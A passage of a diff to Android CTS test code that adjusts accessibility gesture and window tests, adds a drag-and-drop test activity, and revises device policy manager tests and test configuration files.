+                sUiAutomation.executeAndWaitForEvent(
+                        () -> {
+                            mActivity.runOnUiThread(new Runnable() {
+                                @Override
+                                public void run() {
+                                    view.performAccessibilityAction(action.getId(), null);
+                                }
+                            });
+                        },
+                        filter,
+                        DEFAULT_TIMEOUT_MS);
+        return awaitedEvent;
+    }
+
+    private AccessibilityNodeInfo getSourceNode() {
+        return sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/source").get(0);
+    }
+
+    private AccessibilityNodeInfo getTargetNode() {
+        return sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/target").get(0);
+    }
+
+    private void assertNoNodeAction(
+            AccessibilityNodeInfo info, AccessibilityNodeInfo.AccessibilityAction action) {
+        assertFalse("Node has action: " + action.toString(),
+                info.getActionList().contains(action));
+    }
+
+    private void assertNodeAction(
+            AccessibilityNodeInfo info, AccessibilityNodeInfo.AccessibilityAction action) {
+        assertTrue("Node does not have action: " + action.toString(),
+                info.getActionList().contains(action));
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
index b6061ea..4d84a73 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
@@ -18,12 +18,10 @@
 
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
-import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
@@ -107,13 +105,6 @@
         mActivity.waitForEmbeddedHierarchy();
     }
 
-    @Before
-    public void assumeNoAutomotive() {
-        // TODO(b/200620676) STOPSHIP Fix accessibility issue and remove assumeNoAutomotive()
-        assumeFalse("automotive build", sInstrumentation.getTargetContext().getPackageManager()
-                .hasSystemFeature(FEATURE_AUTOMOTIVE));
-    }
-
     @Test
     public void testEmbeddedViewCanBeFound() {
         final AccessibilityNodeInfo target =
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 499a505..089aa58 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -25,6 +25,7 @@
 import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
 import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.timeout;
@@ -48,6 +49,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.view.Display;
+import android.view.ViewConfiguration;
 import android.view.WindowManager;
 import android.view.accessibility.AccessibilityEvent;
 
@@ -101,6 +103,9 @@
     int mStrokeLenPxY;
     Point mCenter; // Center of screen. Gestures all start from this point.
     PointF mTapLocation;
+    int mScaledTouchSlop;
+    int mMaxAdjustedStrokeLenPxX;
+    int mMaxAdjustedStrokeLenPxY;
     @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
 
     @BeforeClass
@@ -134,9 +139,13 @@
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
         mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
         mTapLocation = new PointF(mCenter);
+        mScaledTouchSlop =
+                ViewConfiguration.get(sInstrumentation.getContext()).getScaledTouchSlop();
         mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
         // The threshold is determined by xdpi.
         mStrokeLenPxY = mStrokeLenPxX;
+        mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2;
+        mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2;
         final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
         final boolean screenHighEnough =  metrics.heightPixels / 2 > mStrokeLenPxY;
         mScreenBigEnough = screenWideEnough && screenHighEnough;
@@ -621,13 +630,52 @@
         float fingerOffset = 10f;
         GestureDescription.Builder builder = new GestureDescription.Builder();
         builder.setDisplayId(displayId);
+
+        // MultiFingerSwipe.java scales delta thresholds for multifinger gestures by multiplying
+        // the touch slop with the amount of fingers used in the gesture.
+        // With higher touch slops than default (8dp), the swipe lengths and duration needs to be
+        // adjusted in order for the a11y-service to interpret it as a swipe gesture.
+        float slopAdjustedDx = adjustStrokeDeltaForSlop(fingerCount, dx);
+        float slopAdjustedDy = adjustStrokeDeltaForSlop(fingerCount, dy);
+        long slopAdjustedStrokeDuration = Math.min(
+                adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx),
+                adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy));
+
+        final PointF tapLocation = new PointF(mTapLocation);
+        final float locationOffsetX = (fingerCount - 1) * fingerOffset;
+        tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0);
         for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) {
+            // Make sure adjustments don't take us outside of screen boundaries.
+            assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX
+                    + locationOffsetX));
+            assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY);
             builder.addStroke(
                     GestureUtils.swipe(
-                            add(mTapLocation, fingerOffset * currentFinger, 0),
-                            add(mTapLocation, dx + (fingerOffset * currentFinger), dy),
-                            STROKE_MS));
+                            add(tapLocation, fingerOffset * currentFinger, 0),
+                            add(tapLocation, slopAdjustedDx + (fingerOffset * currentFinger),
+                                    slopAdjustedDy),
+                            slopAdjustedStrokeDuration));
         }
         return builder.build();
     }
+
+    private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) {
+        if (strokeDelta > 0.0f) {
+            return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10);
+        } else if (strokeDelta < 0.0f) {
+            return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10));
+        }
+        return strokeDelta;
+    }
+
+    private long adjustStrokeDurationForSlop(
+            long strokeDuration, float unadjustedDelta, float adjustedDelta) {
+        if (unadjustedDelta == 0.0f || adjustedDelta == 0.0f) {
+            return strokeDuration;
+        }
+        float absUnadjustedDelta = Math.abs(unadjustedDelta);
+        float absAdjustedDelta = Math.abs(adjustedDelta);
+        // Adjusted delta in this case, has additional delta added due to touch slop.
+        return Math.round((float) strokeDuration * absUnadjustedDelta / absAdjustedDelta);
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 571c0d9..035b679 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -70,6 +70,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.text.TextUtils;
 import android.util.Log;
 import android.util.SparseArray;
 import android.view.Display;
@@ -231,7 +232,11 @@
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
             AccessibilityWindowInfo window = windows.get(i);
-
+            // Skip other Apps windows since their state might not be stable while querying.
+            if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION
+                    && !TextUtils.equals(window.getTitle(), mActivity.getTitle())) {
+                continue;
+            }
             window.getBoundsInScreen(boundsInScreen);
             assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
             assertNull(window.getParent());
@@ -567,52 +572,6 @@
         }
     }
 
-    @MediumTest
-    @Test
-    public void testToggleSplitScreen() throws Exception {
-        assumeTrue(
-                "Skipping test: no multi-window support",
-                ActivityTaskManager.supportsSplitScreenMultiWindow(mActivity));
-
-        final int initialWindowingMode =
-                mActivity.getResources().getConfiguration().windowConfiguration.getWindowingMode();
-
-        assertTrue(
-                sUiAutomation.performGlobalAction(
-                        AccessibilityService.GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN));
-
-        TestUtils.waitUntil(
-                "waiting until activity becomes split screen windowing mode",
-                () -> {
-                    final int windowingMode =
-                            mActivity
-                                    .getResources()
-                                    .getConfiguration()
-                                    .windowConfiguration
-                                    .getWindowingMode();
-                    return windowingMode == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
-                            || windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-                });
-
-        sUiAutomation.waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
-
-        assertTrue(
-                sUiAutomation.performGlobalAction(
-                        AccessibilityService.GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN));
-
-        TestUtils.waitUntil(
-                "waiting until activity goes back to default screen windowing mode",
-                () -> {
-                    final int windowingMode =
-                            mActivity
-                                    .getResources()
-                                    .getConfiguration()
-                                    .windowConfiguration
-                                    .getWindowingMode();
-                    return windowingMode == initialWindowingMode;
-                });
-    }
-
     @Test
     public void testFindPictureInPictureWindow() throws Exception {
         if (!sInstrumentation.getContext().getPackageManager()
@@ -724,7 +683,7 @@
                                 WindowManager.LayoutParams.TYPE_INPUT_METHOD_DIALOG);
                         params.accessibilityTitle = windowTitle;
 
-                        SystemUtil.runWithShellPermissionIdentity(
+                        SystemUtil.runWithShellPermissionIdentity(sUiAutomation,
                                 () -> wm.addView(view, params),
                                 "android.permission.INTERNAL_SYSTEM_WINDOW");
                     }),
@@ -907,15 +866,16 @@
             classNameAndTextList.add("android.widget.LinearLayout");
             classNameAndTextList.add("android.widget.LinearLayout");
             classNameAndTextList.add("android.widget.LinearLayout");
-            classNameAndTextList.add("android.widget.ButtonB1");
-            classNameAndTextList.add("android.widget.ButtonB2");
-            classNameAndTextList.add("android.widget.ButtonB3");
-            classNameAndTextList.add("android.widget.ButtonB4");
-            classNameAndTextList.add("android.widget.ButtonB5");
-            classNameAndTextList.add("android.widget.ButtonB6");
-            classNameAndTextList.add("android.widget.ButtonB7");
-            classNameAndTextList.add("android.widget.ButtonB8");
-            classNameAndTextList.add("android.widget.ButtonB9");
+            final String btnClass = "android.widget.Button";
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button1)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button2)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button3)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button4)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button5)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button6)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button7)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button8)));
+            classNameAndTextList.add(btnClass.concat(mActivity.getString(R.string.button9)));
 
             boolean verifyContent = false;
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityDragAndDropActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityDragAndDropActivity.java
new file mode 100644
index 0000000..ed5cad1
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityDragAndDropActivity.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.activities;
+
+import android.accessibilityservice.cts.R;
+import android.content.ClipData;
+import android.os.Bundle;
+import android.view.DragEvent;
+import android.view.View;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.widget.TextView;
+
+public class AccessibilityDragAndDropActivity extends AccessibilityTestActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.accessibility_drag_and_drop);
+        final TextView text = findViewById(R.id.source);
+
+        View.AccessibilityDelegate delegate = new View.AccessibilityDelegate() {
+            @Override
+            public void onInitializeAccessibilityNodeInfo(View host, AccessibilityNodeInfo info) {
+                info.addAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START);
+                super.onInitializeAccessibilityNodeInfo(host, info);
+            }
+
+            @Override
+            public boolean performAccessibilityAction(View host, int action, Bundle args) {
+                boolean result = super.performAccessibilityAction(host, action, args);
+                if (action == android.R.id.accessibilityActionDragStart) {
+                    final ClipData clipData = ClipData.newPlainText("Text", text.getText());
+                    View.DragShadowBuilder shadowBuilder = new View.DragShadowBuilder();
+                    return host.startDragAndDrop(clipData, shadowBuilder, null,
+                            View.DRAG_FLAG_ACCESSIBILITY_ACTION);
+                }
+                return result;
+            }
+        };
+
+        text.setAccessibilityDelegate(delegate);
+        final TextView target = findViewById(R.id.target);
+
+        View.OnDragListener dragListener = new View.OnDragListener() {
+            @Override
+            public boolean onDrag(View v, DragEvent event) {
+                switch (event.getAction()) {
+                    case DragEvent.ACTION_DRAG_STARTED:
+                    case DragEvent.ACTION_DRAG_ENTERED:
+                    case DragEvent.ACTION_DRAG_LOCATION:
+                    case DragEvent.ACTION_DRAG_EXITED:
+                    case DragEvent.ACTION_DRAG_ENDED:
+                        return true;
+                    case DragEvent.ACTION_DROP:
+                        ((TextView) v).setText(event.getClipData().getItemAt(0).getText());
+                        return true;
+
+                    default:
+                        break;
+                }
+                return false;
+            }
+        };
+        target.setOnDragListener(dragListener);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
index 7f1cd37..57d1103 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
@@ -38,6 +38,12 @@
         return (new AccessibilityEventTypeMatcher(eventType))::matches;
     }
 
+    public static AccessibilityEventFilter filterWindowContentChangedWithChangeTypes(int changes) {
+        return (both(new AccessibilityEventTypeMatcher(
+                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED)).and(
+                        new ContentChangesMatcher(changes)))::matches;
+    }
+
     public static AccessibilityEventFilter filterWindowsChangedWithChangeTypes(int changes) {
         return (both(new AccessibilityEventTypeMatcher(AccessibilityEvent.TYPE_WINDOWS_CHANGED))
                         .and(new WindowChangesMatcher(changes)))::matches;
diff --git a/tests/accessibilityservice/testsdk29/AndroidTest.xml b/tests/accessibilityservice/testsdk29/AndroidTest.xml
index cbf1922..4cc15b6 100644
--- a/tests/accessibilityservice/testsdk29/AndroidTest.xml
+++ b/tests/accessibilityservice/testsdk29/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index fccdc2b..d77b46d 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -21,12 +21,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Not testing features backed by native code, so only need to run against one ABI -->
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <!-- Uses SwitchUserTargetPreparer to switch to system so running secondary is not relevant -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
-
-    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
-        <option name="user-type" value="system" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
index 58d02a3..dfbd645 100644
--- a/tests/admin/OWNERS
+++ b/tests/admin/OWNERS
@@ -1,9 +1,2 @@
 # Bug component: 100560
-sandness@google.com
-rubinxu@google.com
-eranm@google.com
-kholoudm@google.com
-pgrafov@google.com
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/tests/admin/app/src/android/admin/app/CtsDeviceAdminActivationTestActivity.java b/tests/admin/app/src/android/admin/app/CtsDeviceAdminActivationTestActivity.java
index 9f46949..61452cc 100644
--- a/tests/admin/app/src/android/admin/app/CtsDeviceAdminActivationTestActivity.java
+++ b/tests/admin/app/src/android/admin/app/CtsDeviceAdminActivationTestActivity.java
@@ -19,6 +19,8 @@
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.Process;
+import android.util.Log;
 import android.view.WindowManager;
 
 import com.google.common.annotations.VisibleForTesting;
@@ -29,6 +31,9 @@
  * providing a {@link OnActivityResultListener}.
  */
 public class CtsDeviceAdminActivationTestActivity extends Activity {
+
+    private static final String TAG = CtsDeviceAdminActivationTestActivity.class.getSimpleName();
+
     public interface OnActivityResultListener {
         void onActivityResult(int requestCode, int resultCode, Intent data);
     }
@@ -37,6 +42,7 @@
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
+        Log.d(TAG, "onCreate(): user=" + Process.myUserHandle());
         super.onCreate(savedInstanceState);
 
         // Dismiss keyguard and keep screen on while this Activity is displayed.
@@ -54,6 +60,8 @@
 
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult(): requestCode=" + requestCode + ", resultCode=" + resultCode
+                + ", listener=" + mOnActivityResultListener + ", user=" + Process.myUserHandle());
         if (mOnActivityResultListener != null) {
             mOnActivityResultListener.onActivityResult(requestCode, resultCode, data);
             return;
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java b/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
index f20243b..a48b7a6 100644
--- a/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
+++ b/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
@@ -61,7 +61,8 @@
      */
     private static final int UI_EFFECT_TIMEOUT_MILLIS = 5000;
 
-    private boolean mDeviceAdmin;
+    private boolean mHasFeature;
+
     @Mock private OnActivityResultListener mMockOnActivityResultListener;
 
     public DeviceAdminActivationTest() {
@@ -73,7 +74,7 @@
         super.setUp();
         MockitoAnnotations.initMocks(this);
         getActivity().setOnActivityResultListener(mMockOnActivityResultListener);
-        mDeviceAdmin = getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+        mHasFeature = getInstrumentation().getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_DEVICE_ADMIN);
     }
 
@@ -87,7 +88,7 @@
     }
 
     public void testActivateGoodReceiverDisplaysActivationUi() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateGoodReceiverDisplaysActivationUi");
             return;
         }
@@ -102,7 +103,7 @@
     }
 
     public void testActivateBrokenReceiverFails() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateBrokenReceiverFails");
             return;
         }
@@ -113,7 +114,7 @@
     }
 
     public void testActivateBrokenReceiver2Fails() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateBrokenReceiver2Fails");
             return;
         }
@@ -124,7 +125,7 @@
     }
 
     public void testActivateBrokenReceiver3Fails() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateBrokenReceiver3Fails");
             return;
         }
@@ -135,7 +136,7 @@
     }
 
     public void testActivateBrokenReceiver4Fails() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateBrokenReceiver4Fails");
             return;
         }
@@ -146,7 +147,7 @@
     }
 
     public void testActivateBrokenReceiver5Fails() throws Exception {
-        if (!mDeviceAdmin) {
+        if (!mHasFeature) {
             Log.w(TAG, "Skipping testActivateBrokenReceiver5Fails");
             return;
         }
@@ -157,18 +158,19 @@
     }
 
     private void startAddDeviceAdminActivityForResult(Class<?> receiverClass) {
-        getActivity().startActivityForResult(
-                getAddDeviceAdminIntent(receiverClass),
-                REQUEST_CODE_ACTIVATE_ADMIN);
+        Activity activity = getActivity();
+        Intent intent = getAddDeviceAdminIntent(receiverClass);
+        Log.d(TAG, "starting activity " + intent + " from " + activity + " on user "
+                + activity.getUser());
+        activity.startActivityForResult(intent, REQUEST_CODE_ACTIVATE_ADMIN);
     }
 
     private Intent getAddDeviceAdminIntent(Class<?> receiverClass) {
+        ComponentName admin = new ComponentName(getInstrumentation().getTargetContext(),
+                receiverClass);
+        Log.v(TAG, "admin on " + DevicePolicyManager.EXTRA_DEVICE_ADMIN + " extra: " + admin);
         return new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN)
-            .putExtra(
-                    DevicePolicyManager.EXTRA_DEVICE_ADMIN,
-                    new ComponentName(
-                            getInstrumentation().getTargetContext(),
-                            receiverClass));
+            .putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, admin);
     }
 
     private void assertWithTimeoutOnActivityResultNotInvoked() {
@@ -195,6 +197,7 @@
     }
 
     private void assertDeviceAdminDeactivated(Class<?> receiverClass) {
+        Log.v(TAG, "assertDeviceAdminDeactivated(" + receiverClass + ")");
         DevicePolicyManager devicePolicyManager =
                 (DevicePolicyManager) getActivity().getSystemService(
                         Context.DEVICE_POLICY_SERVICE);
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index ef5c069..3530c6a 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.admin.cts;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertNotEquals;
 import static org.testng.Assert.assertThrows;
 
@@ -33,6 +35,7 @@
 import android.content.pm.ResolveInfo;
 import android.os.Build;
 import android.os.Process;
+import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
 import android.security.keystore.KeyGenParameterSpec;
@@ -44,7 +47,6 @@
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.ByteArrayInputStream;
 import java.security.cert.Certificate;
@@ -65,6 +67,8 @@
 
     private static final String TAG = DevicePolicyManagerTest.class.getSimpleName();
 
+    private final UserHandle mUser = Process.myUserHandle();
+
     private DevicePolicyManager mDevicePolicyManager;
     private ComponentName mComponent;
     private boolean mDeviceAdmin;
@@ -90,8 +94,6 @@
             "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n" +
             "-----END CERTIFICATE-----";
 
-    private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -799,20 +801,17 @@
         fail("No system launcher with version L+ present present on device.");
     }
 
-    /**
-     * Test that managed provisioning is pre-installed if the device declares the device admin
-     * feature.
-     */
-    public void testManagedProvisioningPreInstalled() throws Exception {
-        if (mDeviceAdmin) {
-            assertTrue(isPackageInstalledOnSystemImage(MANAGED_PROVISIONING_PKG));
-        }
-    }
-
     private void assertDeviceOwnerMessage(String message) {
-        assertTrue("message is: "+ message, message.contains("does not own the device")
+        Log.d(TAG, "assertDeviceOwnerMessage(): " + message);
+        boolean ok = message.contains("does not own the device")
                 || message.contains("can only be called by the device owner")
-                || message.contains("Calling identity is not authorized"));
+                || message.contains("Calling identity is not authorized");
+        //TODO(b/205178429): work-around as test is always run on current user
+        if (!ok && UserManager.isHeadlessSystemUserMode() && !mUser.isSystem()) {
+            ok = message.contains("was called from non-system user");
+        }
+
+        assertTrue("message is: "+ message, ok);
     }
 
     private void assertOrganizationOwnedProfileOwnerMessage(String message) {
@@ -874,16 +873,6 @@
         }
     }
 
-    private boolean isPackageInstalledOnSystemImage(String packagename) {
-        try {
-            ApplicationInfo info = mPackageManager.getApplicationInfo(packagename,
-                    0 /* default flags */);
-            return (info.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
-        } catch (NameNotFoundException e) {
-            return false;
-        }
-    }
-
     public void testReboot_failIfNotDeviceOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testReboot_failIfNotDeviceOwner");
@@ -923,19 +912,6 @@
         }
     }
 
-    public void testSetDefaultSmsApplication_failIfNotDeviceOwner() {
-        if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testSetDefaultSmsApplication_failIfNotDeviceOwner");
-            return;
-        }
-        try {
-            mDevicePolicyManager.setDefaultSmsApplication(mComponent, "android.admin.cts");
-            fail("did not throw expected SecurityException");
-        } catch (SecurityException e) {
-            assertDeviceOwnerMessage(e.getMessage());
-        }
-    }
-
     public void testCreateAdminSupportIntent_returnNullIfRestrictionIsNotSet() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testCreateAdminSupportIntent");
@@ -1129,10 +1105,20 @@
             return;
         }
         final ComponentName notAdmin = new ComponentName("com.test.foo", ".bar");
-        assertThrows(SecurityException.class,
-            () -> mDevicePolicyManager.setStorageEncryption(notAdmin, true));
-        assertThrows(SecurityException.class,
-            () -> mDevicePolicyManager.setStorageEncryption(notAdmin, false));
+        //TODO(b/205178429): work-around as test is always run on current user
+        if (UserManager.isHeadlessSystemUserMode() && !mUser.isSystem()) {
+            assertWithMessage("setStorageEncryption(%s, true) on user %s", notAdmin, mUser)
+                    .that(mDevicePolicyManager.setStorageEncryption(notAdmin, true))
+                    .isEqualTo(DevicePolicyManager.ENCRYPTION_STATUS_UNSUPPORTED);
+            assertWithMessage("setStorageEncryption(%s, false) on user %s", notAdmin, mUser)
+                    .that(mDevicePolicyManager.setStorageEncryption(notAdmin, false))
+                    .isEqualTo(DevicePolicyManager.ENCRYPTION_STATUS_UNSUPPORTED);
+        } else {
+            assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.setStorageEncryption(notAdmin, true));
+            assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.setStorageEncryption(notAdmin, false));
+        }
     }
 
     public void testCrossProfileCalendar_failIfNotProfileOwner() {
@@ -1156,33 +1142,6 @@
         }
     }
 
-    public void testSetUserControlDisabledPackages_failIfNotDeviceOwner() {
-        if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testSetUserControlDisabledPackages_failIfNotDeviceOwner()");
-            return;
-        }
-        final String TEST_PACKAGE_NAME = "package1";
-        List<String> packages = new ArrayList<>();
-        packages.add(TEST_PACKAGE_NAME);
-        try {
-            mDevicePolicyManager.setUserControlDisabledPackages(mComponent, packages);
-            fail("setUserControlDisabledPackages did not throw expected SecurityException");
-        } catch(SecurityException e) {
-        }
-    }
-
-    public void testGetUserControlDisabledPackages_failIfNotDeviceOwner() {
-        if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testGetUserControlDisabledPackages_failIfNotDeviceOwner()");
-            return;
-        }
-        try {
-            mDevicePolicyManager.getUserControlDisabledPackages(mComponent);
-            fail("getUserControlDisabledPackages did not throw expected SecurityException");
-        } catch(SecurityException e) {
-        }
-    }
-
     public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner()
             throws Exception {
         if (!mDeviceAdmin) {
diff --git a/tests/app/AppExitTest/AndroidTest.xml b/tests/app/AppExitTest/AndroidTest.xml
index b1e86e1..4eddef4 100644
--- a/tests/app/AppExitTest/AndroidTest.xml
+++ b/tests/app/AppExitTest/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="force-install-mode" value="FULL"/>
